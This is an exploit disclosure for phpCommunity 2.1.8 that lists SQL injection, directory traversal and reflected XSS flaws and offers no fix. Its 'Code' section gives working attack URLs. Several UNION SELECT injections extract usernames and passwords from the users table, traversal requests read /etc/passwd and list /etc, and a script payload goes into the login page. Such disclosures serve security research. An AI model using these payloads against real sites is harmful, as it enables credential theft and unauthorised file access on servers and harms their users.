phpCommunity 2.1.8 (SQL/DT/XSS) Multiple Vulnerabilities

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phpCommunity 2.1.8 (SQL/DT/XSS) Multiple Vulnerabilities
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*******   Salvatore "drosophila" Fresta   *******

[+] Application: phpCommunity 2
[+] Version: 2.1.8
[+] Website: http://sourceforge.net/projects/phpcommunity2/

[+] Bugs: [A] Multiple SQL Injection
          [B] Directory Traversal
          [C] Reflected XSS

[+] Exploitation: Remote
[+] Date: 07 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta

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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


This web application presents several vulnerabilities
which can be exploited to obtain reserved information.
The following are examples of vulnerabilities 
discovered in this application.


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: module/forum/class_forum.php
                   module/forum/class_search.php

This bug allows a guest to view username and
password of a registered user.


- [B] Directory Traversal

[-] Requisites: none
[-] File affected: module/admin/files/show_file.php,
                   module/admin/files/show_source.php

This bug allows a guest to read arbitrary files and 
directory on the web server.


- [C] Reflected XSS

[-] Requisites: none
[-] File affected: templates/1/login.php


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[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23


- [B] Directory Traversal

http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd

http://www.site.com/path/module/admin/files/show_source.php?path=/etc


- [C] Reflected XSS

http://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script>


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[+] Fix

No fix.


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